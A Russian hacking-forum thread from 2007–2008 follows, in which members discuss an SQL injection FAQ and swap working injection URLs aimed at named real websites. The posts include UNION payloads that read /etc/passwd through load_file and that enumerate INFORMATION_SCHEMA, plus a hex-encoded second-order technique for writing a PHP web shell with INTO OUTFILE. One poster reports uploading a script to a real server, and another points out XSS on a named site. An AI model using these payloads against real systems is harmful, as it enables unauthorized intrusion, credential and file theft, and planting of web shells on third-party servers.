Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Это просто один из вариантов, во многих случаях все гораздо сложнее для определения, имхо кроме того что читать статьи и мануалы, надо хотябы немного головой думать.
    хотя для чего в предложенном примере ; если описанное относится к связке mysql+php мне не дано понять, I-I()/Ib, или исправь или объясни
     
    #21 Scipio, 7 Apr 2008
    Last edited: 7 Apr 2008
  2. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Как вам сказать. Каждый что либо делает как ему лично удобнее/приятнее/привычнее. Когда я учил пых и мускул я делал запросы так. Может быть это покажется кому то смешно но только из-за этого в статье указанны ";" после каждого запроса, я не отрицаю их ненужность, НО ЭТО МОЕ ЛИЧНОЕ. Скажем так вам вместо того чтобы цеплятся к мелочам было бы неполохо занятся чем то более полезным. Объяснил?

    Кстати люди еще хочу обратить внимание на то что вместо громозкой конструкции
    Code:
    AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla')
    можно использовать
    Code:
    UNHEX(HEX('строка'))
    что есть гораздо удобнее
     
    3 people like this.
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    I-I()/Ib
    Думаю Scipio имел ввиду ,что такая конструкция как у тебя в пункте 1.4 работать не будет вот пример уязвимого параметра посмотри сам:
    Найдено Fuckel
    _http://www.specialradio.ru/mkz/?id=1
    вот так :
    _http://www.specialradio.ru/mkz/?id=1;--
    Ничего не добиться
    Т.е разделять что-то ; в примере Mysql не катит
     
    #23 Kakoytoxaker, 7 Apr 2008
    Last edited: 24 Jun 2009
    3 people like this.
  4. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Ну да каждый выбирает для себя в соответствии с ситуацией
    Смысл в том, что именно ";" не только не нужна, как ты говоришь, а именно приведет к ошибке, так как используется для разделения запросов, которые не поддерживаются в mysql функциях php
    Нда, привычки и невнимательность приводят к тому что человек незамечает более простых вещей, так что +
     
  5. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Небольшая фича (ну или не фича):
    вот есть пример скули:
    Code:
    http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*
    (взял из топика "sql-инекции" если не выдержал копирайтов, извиняйте)

    смысл в том, что пользователь рут и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно.

    К теории, есть например такой скрипт:
    PHP:
    <?php
    mysql_connect
    ('localhost','root','');
    mysql_select_db('intbrd');
    $id=$_GET["id"];
    $sql "SELECT u_id,u__email,u__name FROM `User` where u_id=".$id;
    $result MySQL_QUERY($sql);
    echo 
    mysql_error();
    while(
    $us MySQL_FETCH_ARRAY($result))
     {echo 
    $us['u__email'].":".$us['u__name'];echo "<br>";
      
    $onl MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"]);
      while(
    $usonl MySQL_FETCH_ARRAY($onl))
      echo 
    $usonl["o_uid"].':'.$usonl["o_key"];
     }
    ?>
    (набросал я его чисто для наглядности и примера и показываю на примере своей бд)

    обратившись к скрипту:
    Code:
    http://localhost/erase.php?id=-2+union+select+1,2,3/*
    видим
    обратившись
    Code:
    http://localhost/erase.php?id=-2+union+select+0x27,2,3/*
    (0x27- код кавычки) видим:
    происходит это потому, что данные полученные виз первого запроса, вставляются во второй запрос.
    Сделаем "внутренний" инъект-запрос:
    Code:
    -2 union select '999',111/*
    захексим его и подставим в первое поле первого ("внешнего") запроса:
    Code:
    http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*
    результат:
    Code:
    2:3
    999:111
    т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек.

    а если "внутренний" запрос будет:
    Code:
    -2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/*
    то в запросе
    PHP:
    $onl MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"])
    он выполнится без проблем даже при magic_quotes on

    обратимся к первой скуле, если мы в третье поле подставим:
    Code:
    -1 union select 'magic_qotes is sux'/*
    и выполним:
    Code:
    http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*
    увидим безобидную надпись magic_qotes is sux
    а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился

    зы скрипт я туда конечно залил, но вот только на серваке отключены системные комманды и отключен Url file-access((
     
    12 people like this.
  6. Deka

    Deka New Member

    Joined:
    15 Feb 2008
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Scipio
    Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле:
    http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+mysql.user/*

    а здесь в нескольких полях:

    http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/*

    Почему так?
     
    1 person likes this.
  7. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Посмотрел эти скули шелл можно залить как я описал при наличии папки на запись (в эти подробности не вдовался)
    почему так? ну я привел пример гда объясняется вся поднаготная почему так, дерзай!
     
  8. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    141
    Likes Received:
    8
    Reputations:
    0
    невыдаются ошибки при injection в первом скрипте , почему??? может они выключены , как включить ???
     
  9. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    ...
     
    1 person likes this.
  10. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    141
    Likes Received:
    8
    Reputations:
    0
    Всё наместе , странно . Почему могут невыводиться ошибки ....

    Делаю такой запрос к первому скрипту Ж http://localhost/sait/tmp/sql.php?id=1'

    -----------
    Проверте скрипт и такой запрос у себя на локалхосте , мож я что нетак делаю .....
     
  11. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    141
    Likes Received:
    8
    Reputations:
    0
    Зароботало , нужно заменить
    $zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос
    на
    $zapros="SELECT * FROM news WHERE id=".$_GET['id'].";";//Уязвимый запрос
     
  12. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    141
    Likes Received:
    8
    Reputations:
    0
    что в этом запросе неверно ???

    http://localhost/sait/tmp/sql.php?id=-1+UNION+SELECT+password+FROM+users+WHERE+login=Admin/*

    результат :
    Unknown column 'admin' in 'where clause'
    Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\sait\tmp\sql.php on line 24
     
    #32 lomerok, 12 May 2008
    Last edited: 12 May 2008
  13. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Если не кодируешь в hex/char, то обрамляй логин кавычками.
     
    1 person likes this.
  14. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    141
    Likes Received:
    8
    Reputations:
    0
    http://localhost/sait/tmp/sql.php?id=-1+UNION+SELECT+password+FROM+users+WHERE+'login=Admin'/*
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'login=Admin\'/*' at line 1
    Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\sait\tmp\sql.php on line 24
    ------------
    Поставил кавычки .......... что теперь нетак ?
     
    #34 lomerok, 12 May 2008
    Last edited: 12 May 2008
  15. taha

    taha Elder - Старейшина

    Joined:
    20 Aug 2006
    Messages:
    399
    Likes Received:
    330
    Reputations:
    251
    1. не выводится потому, что после юнион у селекта должно быть столько же параметров сколько и до него, на сколько помню
    2. судя по всему ты используешь денвер и magic_quotes у тебя отключены поумолчанию... кодируй Admin в hex

    Code:
    ?id=-1+UNION+SELECT+1,2,3,4,password+FROM+users+WHERE+login=0x41646d696e
    
     
    #35 taha, 12 May 2008
    Last edited: 12 May 2008
  16. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Омг, http://hack-shop.org.ru/tools-code-encode
     
  17. unit171

    unit171 New Member

    Joined:
    13 Sep 2007
    Messages:
    5
    Likes Received:
    2
    Reputations:
    0
    Статья неплохая, только вот :

    Почему бы просто не юзать sp c параметрами (следя чтобы эти параметры не юзались с exec ) ?
     
  18. Лайт

    Лайт Active Member

    Joined:
    23 May 2007
    Messages:
    63
    Likes Received:
    172
    Reputations:
    11
    Вот так делай: chausers переводишь в HEX ВОТ ТУТ, у тебя получится
    636861757365727300 и дописываешь перед хексом 0x, потом вставляешь и вот как должно все выглядеть.

    Кто будет пользоватся этим декодером, удаляйте 2 лишних нуля в конце, 636861757365727300
    вот они.

    Code:
    http://www.oke.ru/xo4u.php?id=-42708+UNION+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10+%20FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=[COLOR=Red]0x6368617573657273[/COLOR]+LIMIT+0,1/*
    ЗЫ Кстати там ХСС пашет, в 2х полях: имени и мыле.
    http://www.oke.ru/xo4u.php?id=-42717
     
    #38 Лайт, 19 Jun 2008
    Last edited: 19 Jun 2008
    1 person likes this.
  19. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    Лайт, не выходит всеравно :\
     
    1 person likes this.
  20. Лайт

    Лайт Active Member

    Joined:
    23 May 2007
    Messages:
    63
    Likes Received:
    172
    Reputations:
    11
    Если такая тема с колонками не проходит, тогда как ты смог имя таблицы узнать? Если знаешь имя таблицы, где должен лежать логин пасс, то просто подбери имя колонки основываясь здравым смыслом, или посмотри в исходнике страницы, через какие переменные передаются значения логина/пасса.
    ЗЫ Сам этот сервис весьма странный, я не смог там найти ни админки, ни полей логинн/пасс...